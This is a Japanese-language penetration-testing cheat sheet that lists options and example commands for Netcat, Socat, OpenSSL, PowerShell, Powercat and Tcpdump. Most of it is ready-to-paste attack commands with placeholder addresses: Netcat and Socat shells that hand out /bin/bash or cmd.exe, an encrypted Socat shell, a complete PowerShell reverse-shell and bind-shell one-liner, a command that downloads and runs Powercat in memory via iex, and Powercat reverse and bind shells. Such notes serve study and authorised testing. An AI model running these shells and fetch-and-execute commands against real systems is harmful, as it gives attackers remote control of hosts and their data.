目次
Netcat
オプション
n :DNSの名前解決をスキップ
v :情報を追加して表示する
l :リッスン状態にする
p :リッスンするためのポート番号を指定
e : 指定されたプログラムを実行
実行コマンド例
接続
nc -nv ip port
接続の待ち受け
nc -nvlp port
ファイル転送
nc -nv ip port < ファイルパス nc -nlvp ip port > incoming.exe
bind shell (cmdリダイレクト)
nc -nlvp port -e cmd.exe
Nc -nv ip port
reverse shell (bashリダイレクト)
nc -nlvp 4444
nc -nv ip port -e /bin/bash
Socat
オプション
TCP4 :プロトコルを指定
TCP4-LISTEN :接続を待ち受ける
fork :子プロセスを作成(ファイル転送などに使う)
create :新しいファイルを生成
-d -d : エラー、警告、通知などのメッセージを表示する
STDOUT :標準出力をTCPソケットに接続する
EXEC :指定されたプログラムを実行
OPENSSL-LISTEN :暗号化の接続を待ち受ける
cert :証明書ファイルを指定
verify=0 :SSL検証を無効にする
実行コマンド例
接続
socat – TCP4:ip:port EXEC:/bin/bash
接続の待ち受け
sudo socat TCP4-LISTEN:port STDOUT
ファイル転送
sudo socat TCP4-LISTEN:port,fork file:filename (転送元のファイルを指定する)
socat TCP4:ip:port file:filename, create
暗号化接続
sudo socat OPENSSL-LISTEN:port,cert=pemファイル,verify=0,fork EXEC:/bin/bash
socat – OPENSSL:ip:port,verify=0
Open SSL
オプション
req:新しい証明書署名要求を開始します
-newkey:新しい秘密鍵を生成します
rsa:2048:2,048ビットのキー長でRSA暗号化を使用します。
-nodes:パスフレーズ保護なしで秘密鍵を保存します
-keyout:キーをファイルに保存します
-x509:証明書要求の代わりに自己署名証明書を出力します
-days:有効期間を日数で設定します
-out:証明書をファイルに保存します
実行コマンド例
キー、証明書の生成
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
pemファイル生成
cat bind_shell.key bind_shell.crt > bindshell.pem (keyファイル、crtファイルを1つのpemファイルにまとめる)
PowerShell
ファイルダウンロード
オプション
-c :コマンド実行
new-object :.NetFramework、COMオブジェクトのインスタンス化
System.Net.WebClient :System.Netで定義されいてるWebclientのインスタンスを作成
DownloadFile :ファイルのダウンロードをする
実行コマンド例
powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://X.X.X.X/wget.exe’,’C:¥Users¥Desktop¥wget.exe’)”
リバースシェル
実行コマンド例(IP,portを任意の値にする)
powershell -c “$client = New-Object System.Net.Sockets.TCPClient(‘X.X.X.X‘,PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”
バインドシェル
実行コマンド例(portを任意の値にする)
powershell -c “$listener = New-Object System.Net.Sockets.TcpListener(‘0.0.0.0’,PORT);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()”
Powercat
ダウンロード
iex (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’)
オプション
-c :クライアントモードを指定してリスニングIPアドレスを設定
-p :ポート番号を指定
-i :リモートで転送されるローカルファイルを指定
-e :実行するアプリケーション(cmd.exe)を指定
-l :リスナーを作成
ファイル転送
実行コマンド例
powercat -c IP -p PORT -i C:\Users\powercat.ps1
リバースシェル
実行コマンド例
powercat -c IP -p PORT -e cmd.exe
バインドシェル
実行コマンド例
powercat -l -p PORT -e cmd.exe
Tcpdump
オプション
-n :名前解決をスキップ
-i :interfaceを指定
-nn :アドレスやポート番号を名前に変換しないで表示
-vvv :詳細を出力する
-w :パケットをファイルに出力する
-r :-wで書き込んだファイルを読み込む
dst :宛先IPでフィルタリング
src :送信元IPでフィルタリング
port :ポート番号で指定
パケットを取得
実行コマンド例
sudo tcpdump -n -i tun0 -nn -vvv -w output.pcap
取得したファイルを読み込む
実行コマンド例
sudo tcpdump -r output.pcap (ファイルを読み込む)
sudo tcpdump -r output.pcap -n src IP (ファイルを送信元IPでフィルタして読み込む)
sudo tcpdump -r output.pcap -n port PORT (ファイルをポート番号でフィルタして読み込む)